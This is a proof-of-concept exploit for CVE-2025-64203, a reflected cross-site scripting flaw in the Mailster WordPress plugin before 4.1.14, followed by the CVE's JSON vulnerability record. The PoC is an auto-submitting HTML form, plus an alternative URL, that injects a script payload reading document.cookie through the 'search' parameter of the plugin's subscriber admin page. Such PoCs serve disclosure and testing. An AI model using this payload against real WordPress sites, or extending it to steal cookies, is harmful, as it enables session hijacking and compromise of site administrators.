CVE-2025-64203

<!-- CVE-2025-64203 Mailster Reflected XSS PoC --> <!-- Replace TARGET_URL with the vulnerable Mailster site URL --> <!-- HTML Form for POC --> <form id="pocForm" method="GET" action="http://TARGET_URL/wp-admin/admin.php"> <input type="hidden" name="page" value="mailster-manage-subscribers"> <!-- XSS payload in parameter --> <input type="hidden" name="search" value='"><script>alert(document.cookie)</script><x y='"> </form> <script> // Auto-submit for demonstration document.getElementById('pocForm').submit(); </script> <!-- Alternative URL-based PoC --> <!-- http://TARGET_URL/wp-admin/admin.php?page=mailster-manage-subscribers&search="><script>alert(document.cookie)</script><x y=" -->

{"cve": {"id": "CVE-2025-64203", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:10.753", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in EverPress Mailster mailster allows Reflected XSS.This issue affects Mailster: from n/a through < 4.1.14."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/mailster/vulnerability/wordpress-mailster-plugin-4-1-14-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}